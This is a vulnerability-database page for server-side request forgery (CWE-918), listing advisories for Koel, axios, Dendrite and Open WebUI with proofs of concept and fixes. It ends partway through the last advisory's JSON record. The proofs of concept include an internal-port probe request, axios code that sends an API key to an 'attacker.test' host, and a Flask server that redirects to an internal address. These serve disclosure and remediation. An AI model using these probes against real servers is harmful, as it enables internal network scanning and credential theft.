Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4710 vulnerabilities reference this CWE, most recent first.

GHSA-JR4P-4XJH-FWVW

Vulnerability from github – Published: 2026-07-15 18:21 – Updated: 2026-07-15 18:21
VLAI
Summary
Koel: Server-Side Request Forgery (SSRF) in radio station creation due to missing validation bail
Details

Summary

Koel v9.5.0 contains a Server-Side Request Forgery (SSRF) vulnerability in the radio station creation endpoint (POST /api/radio/stations). The url field validation rules are declared without the bail keyword, so the HasAudioContentType rule — which issues HTTP requests to the supplied URL — still executes even after the SafeUrl rule has rejected the URL as pointing to a private/reserved address. Any authenticated, non-admin user can therefore coerce the server into making HEAD/GET requests to arbitrary internal hosts.

This is a blind SSRF: the response body is never returned to the client, but the two distinct validation error messages form a reliable internal-network reachability oracle.

Severity

Medium — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N (5.4)

Authenticated (low-privilege) actor; blind SSRF (no response-body exfiltration). Confidentiality (L) reflects the internal reachability oracle; Integrity (L) reflects state-changing internal endpoints that act on GET/HEAD.

Affected Component

  • Version: Koel v9.5.0 (latest release, HEAD b2e9a34, verified 2026-05-30)
  • Endpoint: POST /api/radio/stations
  • Files:
  • app/Http/Requests/API/Radio/RadioStationStoreRequest.php (missing bail)
  • app/Rules/HasAudioContentType.php (unguarded HTTP fetch)

Root Cause

app/Http/Requests/API/Radio/RadioStationStoreRequest.php (lines 25-34):

'url' => [
    'required',
    'url',
    Rule::unique('radio_stations')->where(function ($query) {
        return $query->where('user_id', $this->user()->id);
    }),
    new SafeUrl(),
    new HasAudioContentType(),
],

In Laravel, validation rules within a single attribute run in sequence and do not stop on the first failure unless bail is present or FormRequest::$stopOnFirstFailure is set. Neither is the case here (App\Http\Requests\Request does not override stopOnFirstFailure, and authorize() simply returns true).

For a directly-supplied private/reserved address (e.g. http://169.254.169.254, http://127.0.0.1:6379, http://192.168.0.1):

  1. SafeUrl (app/Rules/SafeUrl.php lines 45-49) calls isPublicHost($uri->host()), fails it, calls $fail(...) and returns. SafeUrl itself does not make a request in this path — good.
  2. Because there is no bail, validation continues to HasAudioContentType.

  3. HasAudioContentType::resolveContentType() (app/Rules/HasAudioContentType.php lines 41-57) issues the request with no IP/host validation of its own:

    private function resolveContentType(string $url): string { try { $response = Http::head($url); // <-- SSRF if ($response->successful()) { return $response->header('Content-Type'); } } catch (Throwable) { }

    // Falls back to a streaming GET
$response = Http::withHeaders(['Icy-MetaData' => '1'])
    ->withOptions(['stream' => true])
    ->get($url);                               // <-- SSRF
return $response->header('Content-Type');

    }

The rule's own docblock (line 13-14) states "Should be used after SafeUrl to ensure the URL is safe to reach." — that assumption is silently violated by the missing bail.

Authorization Context

The endpoint is reachable by any authenticated user, not just admins:

  • routes/api.base.php line 108 wraps the route group in Route::middleware('auth') only.
  • routes/api.base.php line 268: Route::apiResource('stations', RadioStationController::class).
  • RadioStationController::store() (lines 31-37) carries only #[DisabledInDemo] — no $this->authorize(...), no #[RequiresPlus], no permission check.

Reachability Oracle (Information Disclosure)

HasAudioContentType::validate() returns two distinct messages:

  • Host unreachable / request throws → "The url couldn't be reached." (line 26)
  • Host reachable but Content-Type is not audio/* → "The url doesn't look like a valid radio station URL." (line 32)

By diffing these responses an attacker can enumerate which internal hosts/ports are live behind the firewall (internal host discovery and coarse port scanning).

Proof of Concept

As any regular authenticated user:

POST /api/radio/stations HTTP/1.1
Host: koel.example.com
Authorization: Bearer <regular_user_token>
Content-Type: application/json

{
  "name": "probe",
  "url": "http://127.0.0.1:6379"
}
  • If the internal service answers → "The url doesn't look like a valid radio station URL."
  • If nothing is listening → "The url couldn't be reached."

The server has now issued a HEAD and a streaming GET to 127.0.0.1:6379 despite SafeUrl having rejected it.

Impact

  • Blind SSRF: server-side HEAD/GET to attacker-chosen internal addresses. The response body is never returned to the client, so this cannot directly exfiltrate content (e.g. cloud-metadata bodies).
  • Internal reachability oracle: reliable live-host / open-port discovery via the two distinct error strings.
  • Side-effect requests: any internal endpoint that performs a state-changing action on GET/HEAD can be triggered.

Note on scope: because SafeUrl calls $fail() for a private host, the overall request validation fails (Laravel aggregates all rule failures; a single failure yields a 422), so RadioStationController::store() never runs and no station is persisted. The impact is therefore limited to the out-of-band HEAD/GET requests issued by HasAudioContentType during validation, plus the reachability oracle — it does not chain into a stored station or into the authenticated radio stream proxy via this path.

Recommended Fix

Add bail so HasAudioContentType only runs after SafeUrl passes, restoring the rule's documented precondition:

'url' => [
    'required',
    'url',
    'bail',
    Rule::unique('radio_stations')->where(/* ... */),
    new SafeUrl(),
    new HasAudioContentType(),
],

(Place bail before SafeUrl/HasAudioContentType; the unique check is local DB only and safe to keep ahead of it if preferred.)

Defense in depth

Have HasAudioContentType::resolveContentType() re-validate the host with Network::isPublicHost() (or reuse Network::isSafeUrl()) before issuing any request, so the rule is safe regardless of ordering. The same Network helper is already used by PodcastService for enclosure URLs.

Relationship to CVE-2026-47260

CVE-2026-47260 addressed SSRF via podcast episode enclosure URLs; the current code guards that sink in app/Services/Podcast/PodcastService.php (line 143) with Network::isSafeUrl(). The radio-station path relies instead on the SafeUrl validation rule, but the missing bail lets the adjacent HasAudioContentType fetch run anyway — leaving an SSRF reachable from the same class of untrusted, user-supplied URLs. I have not been able to confirm the exact upstream fix commit for CVE-2026-47260 from the release tarball, so I am presenting this as an independent finding rather than asserting it is the same code change.

Disclosure

  • 2026-05-30: Identified via source review of v9.5.0 (b2e9a34).
  • Verified entirely by source inspection (route middleware, controller, FormRequest base class, and both validation rules). No live PoC was executed against a third-party host.

If the maintainers agree this is a distinct issue, would you consider requesting a CVE identifier for it through GitHub Security Advisories? Happy to provide any further detail or testing.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.7.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phanan/koel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50552"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T18:21:04Z",
    "nvd_published_at": "2026-06-12T20:16:47Z",
    "severity": "MODERATE"
  },
  "details": "Summary\n\nKoel v9.5.0 contains a Server-Side Request Forgery (SSRF) vulnerability in the radio station creation endpoint (POST /api/radio/stations). The url field validation rules are declared without the bail keyword, so the HasAudioContentType rule \u2014 which issues HTTP requests to the supplied URL \u2014 still executes even after the SafeUrl rule has rejected the URL as pointing to a private/reserved address. Any authenticated, non-admin user can therefore coerce the server into making HEAD/GET requests to arbitrary internal hosts.\n\nThis is a blind SSRF: the response body is never returned to the client, but the two distinct validation error messages form a reliable internal-network reachability oracle.\n\nSeverity\n\nMedium \u2014 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N (5.4)\n\nAuthenticated (low-privilege) actor; blind SSRF (no response-body exfiltration). Confidentiality (L) reflects the internal reachability oracle; Integrity (L) reflects state-changing internal endpoints that act on GET/HEAD.\n\nAffected Component\n\n- Version: Koel v9.5.0 (latest release, HEAD b2e9a34, verified 2026-05-30)\n- Endpoint: POST /api/radio/stations\n- Files:\n  - app/Http/Requests/API/Radio/RadioStationStoreRequest.php (missing bail)\n  - app/Rules/HasAudioContentType.php (unguarded HTTP fetch)\n\nRoot Cause\n\napp/Http/Requests/API/Radio/RadioStationStoreRequest.php (lines 25-34):\n\n    \u0027url\u0027 =\u003e [\n        \u0027required\u0027,\n        \u0027url\u0027,\n        Rule::unique(\u0027radio_stations\u0027)-\u003ewhere(function ($query) {\n            return $query-\u003ewhere(\u0027user_id\u0027, $this-\u003euser()-\u003eid);\n        }),\n        new SafeUrl(),\n        new HasAudioContentType(),\n    ],\n\nIn Laravel, validation rules within a single attribute run in sequence and do not stop on the first failure unless bail is present or FormRequest::$stopOnFirstFailure is set. Neither is the case here (App\\Http\\Requests\\Request does not override stopOnFirstFailure, and authorize() simply returns true).\n\nFor a directly-supplied private/reserved address (e.g. http://169.254.169.254, http://127.0.0.1:6379, http://192.168.0.1):\n\n1. SafeUrl (app/Rules/SafeUrl.php lines 45-49) calls isPublicHost($uri-\u003ehost()), fails it, calls $fail(...) and returns. SafeUrl itself does not make a request in this path \u2014 good.\n2. Because there is no bail, validation continues to HasAudioContentType.\n3. HasAudioContentType::resolveContentType() (app/Rules/HasAudioContentType.php lines 41-57) issues the request with no IP/host validation of its own:\n\n    private function resolveContentType(string $url): string\n    {\n        try {\n            $response = Http::head($url);              // \u003c-- SSRF\n            if ($response-\u003esuccessful()) {\n                return $response-\u003eheader(\u0027Content-Type\u0027);\n            }\n        } catch (Throwable) { }\n    \n        // Falls back to a streaming GET\n        $response = Http::withHeaders([\u0027Icy-MetaData\u0027 =\u003e \u00271\u0027])\n            -\u003ewithOptions([\u0027stream\u0027 =\u003e true])\n            -\u003eget($url);                               // \u003c-- SSRF\n        return $response-\u003eheader(\u0027Content-Type\u0027);\n    }\n\nThe rule\u0027s own docblock (line 13-14) states \"Should be used after SafeUrl to ensure the URL is safe to reach.\" \u2014 that assumption is silently violated by the missing bail.\n\nAuthorization Context\n\nThe endpoint is reachable by any authenticated user, not just admins:\n\n- routes/api.base.php line 108 wraps the route group in Route::middleware(\u0027auth\u0027) only.\n- routes/api.base.php line 268: Route::apiResource(\u0027stations\u0027, RadioStationController::class).\n- RadioStationController::store() (lines 31-37) carries only #[DisabledInDemo] \u2014 no $this-\u003eauthorize(...), no #[RequiresPlus], no permission check.\n\nReachability Oracle (Information Disclosure)\n\nHasAudioContentType::validate() returns two distinct messages:\n\n- Host unreachable / request throws \u2192 \"The url couldn\u0027t be reached.\" (line 26)\n- Host reachable but Content-Type is not audio/* \u2192 \"The url doesn\u0027t look like a valid radio station URL.\" (line 32)\n\nBy diffing these responses an attacker can enumerate which internal hosts/ports are live behind the firewall (internal host discovery and coarse port scanning).\n\nProof of Concept\n\nAs any regular authenticated user:\n\n    POST /api/radio/stations HTTP/1.1\n    Host: koel.example.com\n    Authorization: Bearer \u003cregular_user_token\u003e\n    Content-Type: application/json\n    \n    {\n      \"name\": \"probe\",\n      \"url\": \"http://127.0.0.1:6379\"\n    }\n\n- If the internal service answers \u2192 \"The url doesn\u0027t look like a valid radio station URL.\"\n- If nothing is listening \u2192 \"The url couldn\u0027t be reached.\"\n\nThe server has now issued a HEAD and a streaming GET to 127.0.0.1:6379 despite SafeUrl having rejected it.\n\nImpact\n\n- Blind SSRF: server-side HEAD/GET to attacker-chosen internal addresses. The response body is never returned to the client, so this cannot directly exfiltrate content (e.g. cloud-metadata bodies).\n- Internal reachability oracle: reliable live-host / open-port discovery via the two distinct error strings.\n- Side-effect requests: any internal endpoint that performs a state-changing action on GET/HEAD can be triggered.\n\nNote on scope: because SafeUrl calls $fail() for a private host, the overall request validation fails (Laravel aggregates all rule failures; a single failure yields a 422), so RadioStationController::store() never runs and no station is persisted. The impact is therefore limited to the out-of-band HEAD/GET requests issued by HasAudioContentType during validation, plus the reachability oracle \u2014 it does not chain into a stored station or into the authenticated radio stream proxy via this path.\n\nRecommended Fix\n\nAdd bail so HasAudioContentType only runs after SafeUrl passes, restoring the rule\u0027s documented precondition:\n\n    \u0027url\u0027 =\u003e [\n        \u0027required\u0027,\n        \u0027url\u0027,\n        \u0027bail\u0027,\n        Rule::unique(\u0027radio_stations\u0027)-\u003ewhere(/* ... */),\n        new SafeUrl(),\n        new HasAudioContentType(),\n    ],\n\n(Place bail before SafeUrl/HasAudioContentType; the unique check is local DB only and safe to keep ahead of it if preferred.)\n\nDefense in depth\n\nHave HasAudioContentType::resolveContentType() re-validate the host with Network::isPublicHost() (or reuse Network::isSafeUrl()) before issuing any request, so the rule is safe regardless of ordering. The same Network helper is already used by PodcastService for enclosure URLs.\n\nRelationship to CVE-2026-47260\n\nCVE-2026-47260 addressed SSRF via podcast episode enclosure URLs; the current code guards that sink in app/Services/Podcast/PodcastService.php (line 143) with Network::isSafeUrl(). The radio-station path relies instead on the SafeUrl validation rule, but the missing bail lets the adjacent HasAudioContentType fetch run anyway \u2014 leaving an SSRF reachable from the same class of untrusted, user-supplied URLs. I have not been able to confirm the exact upstream fix commit for CVE-2026-47260 from the release tarball, so I am presenting this as an independent finding rather than asserting it is the same code change.\n\nDisclosure\n\n- 2026-05-30: Identified via source review of v9.5.0 (b2e9a34).\n- Verified entirely by source inspection (route middleware, controller, FormRequest base class, and both validation rules). No live PoC was executed against a third-party host.\n\nIf the maintainers agree this is a distinct issue, would you consider requesting a CVE identifier for it through GitHub Security Advisories? Happy to provide any further detail or testing.",
  "id": "GHSA-jr4p-4xjh-fwvw",
  "modified": "2026-07-15T18:21:04Z",
  "published": "2026-07-15T18:21:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/security/advisories/GHSA-jr4p-4xjh-fwvw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50552"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/pull/2549"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/commit/5f6ce2cefd08f437a269236b677ad971517ccbb6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koel/koel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/releases/tag/v9.7.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Koel: Server-Side Request Forgery (SSRF) in radio station creation due to missing validation bail"
}

GHSA-JR5F-V2JV-69X6

Vulnerability from github – Published: 2025-03-07 15:16 – Updated: 2025-11-27 08:44
VLAI
Summary
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
Severity
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-27152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-07T15:16:00Z",
    "nvd_published_at": "2025-03-07T16:15:38Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463\n\nA similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if \u2060`baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.\n\n### Details\n\nConsider the following code snippet:\n\n```js\nimport axios from \"axios\";\n\nconst internalAPIClient = axios.create({\n  baseURL: \"http://example.test/api/v1/users/\",\n  headers: {\n    \"X-API-KEY\": \"1234567890\",\n  },\n});\n\n// const userId = \"123\";\nconst userId = \"http://attacker.test/\";\n\nawait internalAPIClient.get(userId); // SSRF\n```\n\nIn this example, the request is sent to `http://attacker.test/` instead of the `baseURL`. As a result, the domain owner of `attacker.test` would receive the `X-API-KEY` included in the request headers.\n\nIt is recommended that:\n\n-\tWhen `baseURL` is set, passing an absolute URL such as `http://attacker.test/` to `get()` should not ignore `baseURL`.\n-\tBefore sending the HTTP request (after combining the `baseURL` with the user-provided parameter), axios should verify that the resulting URL still begins with the expected `baseURL`.\n\n### PoC\n\nFollow the steps below to reproduce the issue:\n\n1.\tSet up two simple HTTP servers:\n\n```\nmkdir /tmp/server1 /tmp/server2\necho \"this is server1\" \u003e /tmp/server1/index.html \necho \"this is server2\" \u003e /tmp/server2/index.html\npython -m http.server -d /tmp/server1 10001 \u0026\npython -m http.server -d /tmp/server2 10002 \u0026\n```\n\n\n2.\tCreate a script (e.g., main.js):\n\n```js\nimport axios from \"axios\";\nconst client = axios.create({ baseURL: \"http://localhost:10001/\" });\nconst response = await client.get(\"http://localhost:10002/\");\nconsole.log(response.data);\n```\n\n3.\tRun the script:\n\n```\n$ node main.js\nthis is server2\n```\n\nEven though `baseURL` is set to `http://localhost:10001/`, axios sends the request to `http://localhost:10002/`.\n\n### Impact\n\n-\tCredential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.\n-\tSSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.\n-\tAffected Users: Software that uses `baseURL` and does not validate path parameters is affected by this issue.",
  "id": "GHSA-jr5f-v2jv-69x6",
  "modified": "2025-11-27T08:44:27Z",
  "published": "2025-03-07T15:16:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-jr5f-v2jv-69x6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27152"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/issues/6463"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/6829"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/02c3c69ced0f8fd86407c23203835892313d7fde"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.8.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL"
}

GHSA-JRCQ-4CCJ-6FR8

Vulnerability from github – Published: 2026-07-17 18:31 – Updated: 2026-07-17 18:31
VLAI
Details

Dendrite through 0.13.8 contains a server-side request forgery vulnerability that allows unauthenticated attackers to cause the server to open outbound TLS connections to arbitrary hosts and ports by supplying an unvalidated serverName parameter to the legacy media download endpoint. Attackers can exploit distinguishable error response classes and leaked internal IP addresses in error messages to perform blind port scanning and enumerate internal network topology.

Severity
5.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-63096"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T16:17:16Z",
    "severity": "MODERATE"
  },
  "details": "Dendrite through 0.13.8 contains a server-side request forgery vulnerability that allows unauthenticated attackers to cause the server to open outbound TLS connections to arbitrary hosts and ports by supplying an unvalidated serverName parameter to the legacy media download endpoint. Attackers can exploit distinguishable error response classes and leaked internal IP addresses in error messages to perform blind port scanning and enumerate internal network topology.",
  "id": "GHSA-jrcq-4ccj-6fr8",
  "modified": "2026-07-17T18:31:24Z",
  "published": "2026-07-17T18:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63096"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geo-chen/oss/blob/main/dendrite.md#finding-2-unauthenticated-ssrf-and-internal-port-scanner-via-legacy-_matrixmediar0download"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/dendrite-ssrf-via-unauthenticated-legacy-media-download-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JRFP-M64G-PCWV

Vulnerability from github – Published: 2026-06-17 17:55 – Updated: 2026-07-20 21:07
VLAI
Summary
Open WebUI: SSRF Protection Bypass in Playwright Web Loader via HTTP Redirects
Details

Summary

The SafePlaywrightURLLoader implements a validate_url function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL.

Since Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata).

This allows the application to access internal services despite ENABLE_RAG_LOCAL_WEB_FETCH being set to False

Details

Root Cause

The application validates the initial user-provided URL using self._safe_process_url_sync(url). This correctly resolves the domain and ensures it does not point to a private IP.

The application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302).

The Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the browser follows it without re-validating the new destination. The initial validation is bypassed because it only checked the first URL, not the entire redirect chain.

for url in self.urls:
    try:
        self._safe_process_url_sync(url)  
        page = browser.new_page()
        response = page.goto(url, timeout=self.playwright_timeout)  #this
        if response is None:
            raise ValueError(...)
        text = self.evaluator.evaluate(page, browser, response)

PoC

(This PoC uses Docker to easily demonstrate internal network access (accessing a container by service name). However, the vulnerability is NOT tied to Docker.)

  1. Ensure the Open WebUI is configured with the following environment variables. The vulnerability is specific to the Playwright engine.
  2. ENABLE_RAG_LOCAL_WEB_FETCH=False (Default)
  3. RAG_WEB_LOADER_ENGINE=playwright
  4. Setup and run attack server
  5. In Open WebUI, use the "Web Search" or "URL Loader" feature.
  6. Input the attacker's URL (e.g., http://attacker-ip/).
# attack_server.py
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/')
def attack():
    # Redirect to the Open WebUI container's internal port
    return redirect("http://open-webui:8080/api/version", code=302)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

image

The Playwright browser follows the redirect to the internal address (http://open-webui:8080/api/version)

Impact

  • Cloud Environments: Access to Instance Metadata Service (IMDS) to steal cloud credentials.
  • Intranet/On-Premise: Scanning internal networks and accessing unauthenticated internal tools.
  • Container Environments: Accessing other containers within the same network.

Recommended Patch

implement a request interceptor using Playwright's page.route. This ensures all requests, including redirects, are validated before connection.

apply the following logic to both lazy_load and alazy_load methods:

# async context
async def intercept_route(route):
    try:
        await run_in_threadpool(validate_url, route.request.url)
        await route.continue_()
    except Exception:
        await route.abort()

await page.route("**/*", intercept_route)
response = await page.goto(url, timeout=self.playwright_timeout)
Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54018"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T17:55:44Z",
    "nvd_published_at": "2026-06-23T18:18:07Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe SafePlaywrightURLLoader implements a validate_url function to prevent SSRF attacks by checking the IP address of the user-provided URL. However, this validation is performed only on the initial URL.\n\nSince Playwright automatically follows HTTP redirects (301/302) by default, an attacker can bypass the validation by providing a safe URL that redirects to a restricted internal network address (e.g., localhost, Docker container network, or Cloud Metadata).\n\nThis allows the application to access internal services despite ENABLE_RAG_LOCAL_WEB_FETCH being set to False\n\n### Details\nRoot Cause\n\nThe application validates the initial user-provided URL using self._safe_process_url_sync(url). This correctly resolves the domain and ensures it does not point to a private IP.\n\nThe application then calls page.goto(url). By default, Playwright automatically follows HTTP redirects (301/302).\n\nThe Bypass: If the destination server returns a redirect to an internal IP (e.g., 127.0.0.1 or 169.254.169.254), the browser follows it without re-validating the new destination. The initial validation is bypassed because it only checked the first URL, not the entire redirect chain.\n\n```python\nfor url in self.urls:\n    try:\n        self._safe_process_url_sync(url)  \n        page = browser.new_page()\n        response = page.goto(url, timeout=self.playwright_timeout)  #this\n        if response is None:\n            raise ValueError(...)\n        text = self.evaluator.evaluate(page, browser, response)\n```\n\n### PoC\n(This PoC uses Docker to easily demonstrate internal network access (accessing a container by service name). However, the vulnerability is NOT tied to Docker.)\n\n1. Ensure the Open WebUI is configured with the following environment variables. The vulnerability is specific to the Playwright engine.\n2. ENABLE_RAG_LOCAL_WEB_FETCH=False (Default)\n3. RAG_WEB_LOADER_ENGINE=playwright\n4. Setup and run attack server\n5. In Open WebUI, use the \"Web Search\" or \"URL Loader\" feature.\n6. Input the attacker\u0027s URL (e.g., http://attacker-ip/).\n\n```python\n# attack_server.py\nfrom flask import Flask, redirect\napp = Flask(__name__)\n\n@app.route(\u0027/\u0027)\ndef attack():\n    # Redirect to the Open WebUI container\u0027s internal port\n    return redirect(\"http://open-webui:8080/api/version\", code=302)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u00270.0.0.0\u0027, port=80)\n```\n\u003cimg width=\"580\" height=\"192\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4600dbb5-a81d-4e58-b787-afe04fe59d6e\" /\u003e\n\nThe Playwright browser follows the redirect to the internal address (http://open-webui:8080/api/version)\n\n### Impact\n+ Cloud Environments: Access to Instance Metadata Service (IMDS) to steal cloud credentials.\n+ Intranet/On-Premise: Scanning internal networks and accessing unauthenticated internal tools.\n+ Container Environments: Accessing other containers within the same network.\n\n### Recommended Patch\nimplement a request interceptor using Playwright\u0027s page.route. This ensures all requests, including redirects, are validated before connection.\n\napply the following logic to both lazy_load and alazy_load methods:\n\n```python\n# async context\nasync def intercept_route(route):\n    try:\n        await run_in_threadpool(validate_url, route.request.url)\n        await route.continue_()\n    except Exception:\n        await route.abort()\n\nawait page.route(\"**/*\", intercept_route)\nresponse = await page.goto(url, timeout=self.playwright_timeout)\n```",
  "id": "GHSA-jrfp-m64g-pcwv",
  "modified": "2026-07-20T21:07:58Z",
  "published": "2026-06-17T17:55:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jrfp-m64g-pcwv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54018"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-jrfp-m64g-pcwv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
